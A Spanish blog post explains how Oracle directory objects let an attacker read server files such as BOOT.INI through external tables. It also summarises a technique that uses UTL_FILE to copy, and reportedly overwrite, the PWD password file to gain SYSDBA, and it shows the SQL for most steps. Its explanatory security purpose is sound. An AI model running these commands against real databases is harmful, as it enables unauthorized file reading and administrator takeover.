lunes, octubre 20, 2008

Los activos directorios

No, este post no va del famoso Active Directory creado para gobernar el mundo; tampoco va sobre los directorios LDAP ni por supuesto de la activa carpeta dónde yo guardo toda la manteca de la buena. En este caso va sobre los directorios… en Oracle.

Los directorios en Oracle sirven para cosas muy, muy, muy interesantes, pero para que nos centremos, un directorio en Oracle es la representación virtual dentro de la base de datos de una ruta de almacenamiento física. Algo tan sencillo como:

SQL> CREATE DIRECTORY discoC AS ''c:\''

Claro, como ya habréis podido imaginar esto va a dar mucho juego para interactuar con el sistema de ficheros del servidor dónde la base de datos está funcionando. Para el trabajo de RFD (Remote File Downloading) using Blind SQL Injection Techniques, que presentamos en la ToorCon X nosotros lo hemos utilizado para descargar ficheros del servidor. Para ello utilizamos la posibilidad de crear tablas en Oracle que utilicen como sistema de almacenamiento ficheros. Así, los pasos son sencillos:

1.- Te creas un directorio.

SQL> CREATE DIRECTORY discoC AS ''c:\'';

2.- Creas una tabla con almacenamiento externo asociada al fichero que quieras descargar.

SQL> CREATE TABLE TABLE_BOOT ( DATOS VARCHAR2(4000))
ORGANIZATION EXTERNAL
(TYPE ORACLE_LOADER DEFAULT DIRECTORY DISCOC
ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE )
LOCATION (''BOOT.INI''));

3.- y luego basta con hacer select sobre esa tabla.

SQL> SELECT * FROM TABLE_BOOT;

Existe alguna opición más para descargar ficheros desde Oracle y los que vengáis al Asegúr@IT IV podréis ver como se hace en SQL Server 2k, SQL Server 2k5, Oracle y MySQL además de verlo automatizado con una herramienta.

Pero… Ya que bajamos… ¿por qué no subimos ficheros?

El día 10 de Octubre se presentó un paper para ser sysdba en Oracle utilizando los directorios. Bueno, los directorios y el paquete UTL_FILE en PL/SQL que permite manipular ficheros. El caso es que, alguien podría hacer los siguientes pasos:

1.- Crear un directorio en la ubicación dónde Oracle guarda la contraseña de acceso externo para sys. Hay que tener en cuenta que Oracle utiliza una autenticación a nivel de sysdba basada en un ficherito que se llama PWD[nombreinstancia].ora por defecto, para autenticaciones externas ya que si los usuarios están dentro de las tablas de la base de datos y la base de datos está apagada…. Habría poco que hacer entonces.

SQL> CREATE OR REPLACE DIRECTORY TESTPASS
AS 'F:\ORACLE\PRODUCT\10.1.0\DB_2\DATABASE';

2.- Crear un fichero de copia de seguridad con el paquete UTL_FILE en ese directorio para que se genere un fichero PWD[nombreinstancia].ora2 y el original pueda ser modificado.

SQL> BEGIN
2 utl_file.fcopy('TESTPASS', 'PWDorcl.ora', 'TESTPASS',
'PWDorcl.oraBU');
3 END;
4 /

3.- Utilizar las funciones de copia de UTL_FILE para sobre-escribir el fichero PWD[nombreinstancia].ora con una contraseña conocida.

Código SQL de sobre-escritura del archivo.

¡Y listo! ¿A qué molan los directorios en Oracle?. Puedes leer el paper completo en : CREATE ANY DIRECTORY to SYSDBA

Saludos Malignos!

Entradas populares